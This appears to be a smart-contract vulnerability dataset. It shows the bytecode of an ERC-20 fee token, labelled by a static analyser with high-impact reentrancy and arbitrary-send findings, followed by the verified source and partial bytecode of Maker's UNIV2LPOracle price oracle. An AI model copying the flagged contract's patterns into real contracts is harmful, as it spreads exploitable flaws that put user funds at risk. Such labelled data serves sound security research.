0e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061096e81611efd565b915050610903565b5050565b6000546001600160a01b031633146109a45760405162461bcd60e51b815260040161066d90611dea565b600081116109f45760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161066d565b610a13612710610a0d683635c9adc5dea0000084611511565b90611590565b600d5550565b6011546001600160a01b0316336001600160a01b031614610a3957600080fd5b6000610a4430610833565b9050610830816115d2565b6000546001600160a01b03163314610a795760405162461bcd60e51b815260040161066d90611dea565b601454600160a01b900460ff1615610ad35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161066d565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610b103082683635c9adc5dea00000610fb8565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b4957600080fd5b505afa158015610b5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b819190611b94565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bc957600080fd5b505afa158015610bdd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c019190611b94565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c4957600080fd5b505af1158015610c5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c819190611b94565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610cb181610833565b600080610cc66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610d2957600080fd5b505af1158015610d3d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d629190611d6a565b505060148054678ac7230489e800006015554360165563ffff00ff60a01b1981166201000160a01b1790915560135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610ddd57600080fd5b505af1158015610df1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109769190611d36565b6000546001600160a01b03163314610e3f5760405162461bcd60e51b815260040161066d90611dea565b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610e8b5760405162461bcd60e51b815260040161066d90611dea565b60008111610edb5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161066d565b610ef36064610a0d683635c9adc5dea0000084611511565b60158190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b03163314610f585760405162461bcd60e51b815260040161066d90611dea565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b6011546001600160a01b0316336001600160a01b031614610f9a57600080fd5b60148054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b03831661101a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161066d565b6001600160a01b03821661107b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161066d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166111405760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161066d565b6001600160a01b0382166111a25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161066d565b600081116112045760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161066d565b6000546001600160a01b0384811691161480159061123057506000546001600160a01b03838116911614155b15611361576001600160a01b03831630146112545760155481111561125457600080fd5b6001600160a01b0383166000908152600e602052604090205460ff1615801561129657506001600160a01b0382166000908152600e602052604090205460ff16155b80156112b25750336000908152600e602052604090205460ff16155b6112bb57600080fd5b60006112c630610833565b9050600d5481106112d65750600d545b600c546014549082101590600160a81b900460ff161580156113015750601454600160b01b900460ff165b801561130a5750805b801561132457506014546001600160a01b03868116911614155b801561133e57506013546001600160a01b03868116911614155b1561135e5761134c826115d2565b47801561135c5761135c476113f8565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806113a357506001600160a01b03831660009081526005602052604090205460ff165b156113ac575060005b6113b884848484611777565b50505050565b600081848411156113e25760405162461bcd60e51b815260040161066d9190611d97565b5060006113ef8486611ee6565b95945050505050565b6010546001600160a01b03166108fc61141d600661141785600a611590565b90611511565b6040518115909202916000818181858888f19350505050158015611445573d6000803e3d6000fd5b506012546001600160a01b03166108fc611465600461141785600a611590565b6040518115909202916000818181858888f19350505050158015610976573d6000803e3d6000fd5b60006006548211156114f45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161066d565b60006114fe6117a5565b905061150a8382611590565b9392505050565b600082611520575060006105d4565b600061152c8385611ec7565b9050826115398583611ea7565b1461150a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161066d565b600061150a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117c8565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061162857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561167c57600080fd5b505afa158015611690573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116b49190611b94565b816001815181106116d557634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546116fb9130911684610fb8565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611734908590600090869030904290600401611e1f565b600060405180830381600087803b15801561174e57600080fd5b505af1158015611762573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611784576117846117f6565b61178f848484611824565b806113b8576113b8600a54600855600b54600955565b60008060006117b261191b565b90925090506117c18282611590565b9250505090565b600081836117e95760405162461bcd60e51b815260040161066d9190611d97565b5060006113ef8486611ea7565b6008541580156118065750600954155b1561180d57565b60088054600a5560098054600b5560009182905555565b6000806000806000806118368761195d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061186890876119ba565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461189790866119fc565b6001600160a01b0389166000908152600260205260409020556118b981611a5b565b6118c38483611aa5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161190891815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006119378282611590565b82101561195457505060065492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061197a8a600854600954611ac9565b925092509250600061198a6117a5565b9050600080600061199d8e878787611b18565b919e509c509a509598509396509194505050505091939550919395565b600061150a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113be565b600080611a098385611e8f565b90508381101561150a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161066d565b6000611a656117a5565b90506000611a738383611511565b30600090815260026020526040902054909150611a9090826119fc565b30600090815260026020526040902055505050565b600654611ab290836119ba565b600655600754611ac290826119fc565b6007555050565b6000808080611add6064610a0d8989611511565b90506000611af06064610a0d8a89611511565b90506000611b0882611b028b866119ba565b906119ba565b9992985090965090945050505050565b6000808080611b278886611511565b90506000611b358887611511565b90506000611b438888611511565b90506000611b5582611b0286866119ba565b939b939a50919850919650505050505050565b8035611b7381611f44565b919050565b600060208284031215611b89578081fd5b813561150a81611f44565b600060208284031215611ba5578081fd5b815161150a81611f44565b60008060408385031215611bc2578081fd5b8235611bcd81611f44565b91506020830135611bdd81611f44565b809150509250929050565b600080600060608486031215611bfc578081fd5b8335611c0781611f44565b92506020840135611c1781611f44565b929592945050506040919091013590565b60008060408385031215611c3a578182fd5b8235611c4581611f44565b946020939093013593505050565b60006020808385031215611c65578182fd5b823567ffffffffffffffff80821115611c7c578384fd5b818501915085601f830112611c8f578384fd5b813581811115611ca157611ca1611f2e565b8060051b604051601f19603f83011681018181108582111715611cc657611cc6611f2e565b604052828152858101935084860182860187018a1015611ce4578788fd5b8795505b83861015611d0d57611cf981611b68565b855260019590950194938601938601611ce8565b5098975050505050505050565b600060208284031215611d2b578081fd5b813561150a81611f59565b600060208284031215611d47578081fd5b815161150a81611f59565b600060208284031215611d63578081fd5b5035919050565b600080600060608486031215611d7e578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611dc357858101830151858201604001528201611da7565b81811115611dd45783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611e6e5784516001600160a01b031683529383019391830191600101611e49565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ea257611ea2611f18565b500190565b600082611ec257634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ee157611ee1611f18565b500290565b600082821015611ef857611ef8611f18565b500390565b6000600019821415611f1157611f11611f18565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461083057600080fd5b801515811461083057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bdf4f6be9f8bd757414eec48726b7d25fc8cbb608c63dcce4199350294c6d04c64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,977 |
0x69562a7812830e6854ffc50b992c2aa861d5c2d3 | /**
*Submitted for verification at Etherscan.io on 2021-02-26
*/
/**
*Submitted for verification at Etherscan.io on 2021-02-19
*/
// SPDX-License-Identifier: GPL-3.0-or-later
/// UNIV2LPOracle.sol
// Copyright (C) 2017-2021 Maker Ecosystem Growth Holdings, INC.
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
///////////////////////////////////////////////////////
// //
// Methodology for Calculating LP Token Price //
// //
///////////////////////////////////////////////////////
// INVARIANT k = reserve0 [num token0] * reserve1 [num token1]
//
// k = r_x * r_y
// r_y = k / r_x
//
// 50-50 pools try to stay balanced in dollar terms
// r_x * p_x = r_y * p_y // Proportion of r_x and r_y can be manipulated so need to normalize them
//
// r_x * p_x = p_y * (k / r_x)
// r_x^2 = k * p_y / p_x
// r_x = sqrt(k * p_y / p_x) & r_y = sqrt(k * p_x / p_y)
//
// Now that we've calculated normalized values of r_x and r_y that are not prone to manipulation by an attacker,
// we can calculate the price of an lp token using the following formula.
//
// p_lp = (r_x * p_x + r_y * p_y) / supply_lp
//
pragma solidity ^0.6.11;
interface ERC20Like {
function decimals() external view returns (uint8);
function balanceOf(address) external view returns (uint256);
function totalSupply() external view returns (uint256);
}
interface UniswapV2PairLike {
function sync() external;
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112,uint112,uint32); // reserve0, reserve1, blockTimestampLast
}
interface OracleLike {
function read() external view returns (uint256);
function peek() external view returns (uint256,bool);
}
// Factory for creating Uniswap V2 LP Token Oracle instances
contract UNIV2LPOracleFactory {
mapping(address => bool) public isOracle;
event Created(address sender, address orcl, bytes32 wat, address tok0, address tok1, address orb0, address orb1);
// Create new Uniswap V2 LP Token Oracle instance
function build(address _src, bytes32 _wat, address _orb0, address _orb1) public returns (address orcl) {
address tok0 = UniswapV2PairLike(_src).token0();
address tok1 = UniswapV2PairLike(_src).token1();
orcl = address(new UNIV2LPOracle(_src, _wat, _orb0, _orb1));
UNIV2LPOracle(orcl).rely(msg.sender);
isOracle[orcl] = true;
emit Created(msg.sender, orcl, _wat, tok0, tok1, _orb0, _orb1);
}
}
contract UNIV2LPOracle {
// --- Auth ---
mapping (address => uint) public wards; // Addresses with admin authority
function rely(address usr) external auth { wards[usr] = 1; emit Rely(usr); } // Add admin
function deny(address usr) external auth { wards[usr] = 0; emit Deny(usr); } // Remove admin
modifier auth {
require(wards[msg.sender] == 1, "UNIV2LPOracle/not-authorized");
_;
}
// --- Stop ---
uint256 public stopped; // Stop/start ability to read
modifier stoppable { require(stopped == 0, "UNIV2LPOracle/is-stopped"); _; }
// --- Whitelisting ---
mapping (address => uint256) public bud;
modifier toll { require(bud[msg.sender] == 1, "UNIV2LPOracle/contract-not-whitelisted"); _; }
// --- Data ---
uint8 public immutable dec0; // Decimals of token0
uint8 public immutable dec1; // Decimals of token1
address public orb0; // Oracle for token0, ideally a Medianizer
address public orb1; // Oracle for token1, ideally a Medianizer
bytes32 public immutable wat; // Token whose price is being tracked
uint32 public hop = 1 hours; // Minimum time inbetween price updates
address public src; // Price source
uint32 public zzz; // Time of last price update
struct Feed {
uint128 val; // Price
uint128 has; // Is price valid
}
Feed public cur; // Current price
Feed public nxt; // Queued price
// --- Math ---
uint256 constant WAD = 10 ** 18;
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function div(uint x, uint y) internal pure returns (uint z) {
require(y > 0 && (z = x / y) * y == x, "ds-math-divide-by-zero");
}
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
// Compute the square root using the Babylonian method.
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
// --- Events ---
event Rely(address indexed usr);
event Deny(address indexed usr);
event Change(address indexed src);
event Step(uint256 hop);
event Stop();
event Start();
event Value(uint128 curVal, uint128 nxtVal);
event Link(uint256 id, address orb);
// --- Init ---
constructor (address _src, bytes32 _wat, address _orb0, address _orb1) public {
require(_src != address(0), "UNIV2LPOracle/invalid-src-address");
require(_orb0 != address(0) && _orb1 != address(0), "UNIV2LPOracle/invalid-oracle-address");
wards[msg.sender] = 1;
src = _src;
zzz = 0;
wat = _wat;
dec0 = uint8(ERC20Like(UniswapV2PairLike(_src).token0()).decimals()); // Get decimals of token0
dec1 = uint8(ERC20Like(UniswapV2PairLike(_src).token1()).decimals()); // Get decimals of token1
orb0 = _orb0;
orb1 = _orb1;
}
function stop() external auth {
stopped = 1;
emit Stop();
}
function start() external auth {
stopped = 0;
emit Start();
}
function change(address _src) external auth {
src = _src;
emit Change(src);
}
function step(uint256 _hop) external auth {
require(_hop <= uint32(-1), "UNIV2LPOracle/invalid-hop");
hop = uint32(_hop);
emit Step(hop);
}
function link(uint256 id, address orb) external auth {
require(orb != address(0), "UNIV2LPOracle/no-contract-0");
if(id == 0) {
orb0 = orb;
} else if (id == 1) {
orb1 = orb;
}
emit Link(id, orb);
}
function pass() public view returns (bool ok) {
return block.timestamp >= add(zzz, hop);
}
function seek() internal returns (uint128 quote, uint32 ts) {
// Sync up reserves of uniswap liquidity pool
UniswapV2PairLike(src).sync();
// Get reserves of uniswap liquidity pool
(uint112 res0, uint112 res1, uint32 _ts) = UniswapV2PairLike(src).getReserves();
require(res0 > 0 && res1 > 0, "UNIV2LPOracle/invalid-reserves");
ts = _ts;
require(ts == block.timestamp);
// Adjust reserves w/ respect to decimals
if (dec0 != uint8(18)) res0 = uint112(res0 * 10 ** sub(18, dec0));
if (dec1 != uint8(18)) res1 = uint112(res1 * 10 ** sub(18, dec1));
// Calculate constant product invariant k (WAD * WAD)
uint256 k = mul(res0, res1);
// All Oracle prices are priced with 18 decimals against USD
uint256 val0 = OracleLike(orb0).read(); // Query token0 price from oracle (WAD)
uint256 val1 = OracleLike(orb1).read(); // Query token1 price from oracle (WAD)
require(val0 != 0, "UNIV2LPOracle/invalid-oracle-0-price");
require(val1 != 0, "UNIV2LPOracle/invalid-oracle-1-price");
// Calculate normalized balances of token0 and token1
uint256 bal0 =
sqrt(
wmul(
k,
wdiv(
val1,
val0
)
)
);
uint256 bal1 = wdiv(k, bal0) / WAD;
// Get LP token supply
uint256 supply = ERC20Like(src).totalSupply();
require(supply > 0, "UNIV2LPOracle/invalid-lp-token-supply");
// Calculate price quote of LP token
quote = uint128(
wdiv(
add(
wmul(bal0, val0), // (WAD)
wmul(bal1, val1) // (WAD)
),
supply // (WAD)
)
);
}
function poke() external stoppable {
require(pass(), "UNIV2LPOracle/not-passed");
(uint val, uint32 ts) = seek();
require(val != 0, "UNIV2LPOracle/invalid-price");
cur = nxt;
nxt = Feed(uint128(val), 1);
zzz = ts;
emit Value(cur.val, nxt.val);
}
function peek() external view toll returns (bytes32,bool) {
return (bytes32(uint(cur.val)), cur.has == 1);
}
function peep() external view toll returns (bytes32,bool) {
return (bytes32(uint(nxt.val)), nxt.has == 1);
}
function read() external view toll returns (bytes32) {
require(cur.has == 1, "UNIV2LPOracle/no-current-value");
return (bytes32(uint(cur.val)));
}
function kiss(address a) external auth {
require(a != address(0), "UNIV2LPOracle/no-contract-0");
bud[a] = 1;
}
function kiss(address[] calldata a) external auth {
for(uint i = 0; i < a.length; i++) {
require(a[i] != address(0), "UNIV2LPOracle/no-contract-0");
bud[a[i]] = 1;
}
}
function diss(address a) external auth {
bud[a] = 0;
}
function diss(address[] calldata a) external auth {
for(uint i = 0; i < a.length; i++) {
bud[a[i]] = 0;
}
}
} | 0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c806365af790911610104578063a7a1ed72116100a2578063c478a1b111610071578063c478a1b1146107b0578063cc32b7d5146107d4578063dca44f6f146107f8578063f29c29c414610842576101cf565b8063a7a1ed7214610702578063b0b8579b14610724578063be9a65551461074e578063bf353dbb14610758576101cf565b80636c2552f9116100de5780636c2552f91461062c57806375f12b21146106765780639c52a7f114610694578063a4dff0a2146106d8576101cf565b806365af79091461055657806365c4ce7a146105a457806365fae35e146105e8576101cf565b80633a1cde75116101715780634fce7a2a1161014b5780634fce7a2a1461044a5780634fe24251146104a257806357de26a41461050f57806359e02dd71461052d576101cf565b80633a1cde751461038557806346d4577d146103b35780634ca299231461042c576101cf565b806318178358116101ad57806318178358146102745780631b25b65f1461027e5780631e77933e146102f75780632e7dc6af1461033b576101cf565b806303e0187a146101d457806307da68f5146102415780630e5a6c701461024b575b600080fd5b6101dc610886565b60405180836fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff168152602001826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681526020019250505060405180910390f35b6102496108d0565b005b6102536109b9565b60405180838152602001821515151581526020019250505060405180910390f35b61027c610aca565b005b6102f56004803603602081101561029457600080fd5b81019080803590602001906401000000008111156102b157600080fd5b8201836020820111156102c357600080fd5b803590602001918460208302840111640100000000831117156102e557600080fd5b9091929391929390505050610ebc565b005b6103396004803603602081101561030d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110cb565b005b610343611228565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103b16004803603602081101561039b57600080fd5b810190808035906020019092919050505061124e565b005b61042a600480360360208110156103c957600080fd5b81019080803590602001906401000000008111156103e657600080fd5b8201836020820111156103f857600080fd5b8035906020019184602083028401116401000000008311171561041a57600080fd5b9091929391929390505050611411565b005b610434611555565b6040518082815260200191505060405180910390f35b61048c6004803603602081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611579565b6040518082815260200191505060405180910390f35b6104aa611591565b60405180836fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff168152602001826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681526020019250505060405180910390f35b6105176115db565b6040518082815260200191505060405180910390f35b61053561175a565b60405180838152602001821515151581526020019250505060405180910390f35b6105a26004803603604081101561056c57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061186b565b005b6105e6600480360360208110156105ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611acc565b005b61062a600480360360208110156105fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bc8565b005b610634611d06565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61067e611d2c565b6040518082815260200191505060405180910390f35b6106d6600480360360208110156106aa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d32565b005b6106e0611e70565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b61070a611e86565b604051808215151515815260200191505060405180910390f35b61072c611eca565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b610756611ee0565b005b61079a6004803603602081101561076e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fca565b6040518082815260200191505060405180910390f35b6107b8611fe2565b604051808260ff1660ff16815260200191505060405180910390f35b6107dc612006565b604051808260ff1660ff16815260200191505060405180910390f35b61080061202a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6108846004803603602081101561085857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612050565b005b60078060000160009054906101000a90046fffffffffffffffffffffffffffffffff16908060000160109054906101000a90046fffffffffffffffffffffffffffffffff16905082565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b600180819055507fbedf0f4abfe86d4ffad593d9607fe70e83ea706033d44d24b3b6283cf3fc4f6b60405160405180910390a1565b6000806001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610a54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612b366026913960400191505060405180910390fd5b600760000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1660001b6001600760000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1614915091509091565b600060015414610b42576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f554e4956324c504f7261636c652f69732d73746f70706564000000000000000081525060200191505060405180910390fd5b610b4a611e86565b610bbc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f554e4956324c504f7261636c652f6e6f742d706173736564000000000000000081525060200191505060405180910390fd5b600080610bc76121ef565b91506fffffffffffffffffffffffffffffffff1691506000821415610c54576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f554e4956324c504f7261636c652f696e76616c69642d7072696365000000000081525060200191505060405180910390fd5b600760066000820160009054906101000a90046fffffffffffffffffffffffffffffffff168160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506000820160109054906101000a90046fffffffffffffffffffffffffffffffff168160000160106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055509050506040518060400160405280836fffffffffffffffffffffffffffffffff16815260200160016fffffffffffffffffffffffffffffffff16815250600760008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555090505080600560146101000a81548163ffffffff021916908363ffffffff1602179055507f80a5d0081d7e9a7bdb15ef207c6e0772f0f56d24317693206c0e47408f2d0b73600660000160009054906101000a90046fffffffffffffffffffffffffffffffff16600760000160009054906101000a90046fffffffffffffffffffffffffffffffff1660405180836fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff168152602001826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610f70576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b60008090505b828290508110156110c657600073ffffffffffffffffffffffffffffffffffffffff16838383818110610fa557fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561104c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d30000000000081525060200191505060405180910390fd5b60016002600085858581811061105e57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080600101915050610f76565b505050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461117f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f02dc774d82d07722c8c43c212eebb2feaea7924c5472da3b7c2ba5fb532087c760405160405180910390a250565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611302576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff63ffffffff1681111561139e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f554e4956324c504f7261636c652f696e76616c69642d686f700000000000000081525060200191505060405180910390fd5b80600460146101000a81548163ffffffff021916908363ffffffff1602179055507fd5cae49d972f01d170fb2d3409c5f318698639863c0403e59e4af06e0ce92817600460149054906101000a900463ffffffff16604051808263ffffffff16815260200191505060405180910390a150565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146114c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b60008090505b82829050811015611550576000600260008585858181106114e857fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806001019150506114cb565b505050565b7f554e49564441495553445400000000000000000000000000000000000000000081565b60026020528060005260406000206000915090505481565b60068060000160009054906101000a90046fffffffffffffffffffffffffffffffff16908060000160109054906101000a90046fffffffffffffffffffffffffffffffff16905082565b60006001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611675576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612b366026913960400191505060405180910390fd5b6001600660000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff161461171e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f554e4956324c504f7261636c652f6e6f2d63757272656e742d76616c7565000081525060200191505060405180910390fd5b600660000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1660001b905090565b6000806001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146117f5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612b366026913960400191505060405180910390fd5b600660000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1660001b6001600660000160109054906101000a90046fffffffffffffffffffffffffffffffff166ffffffff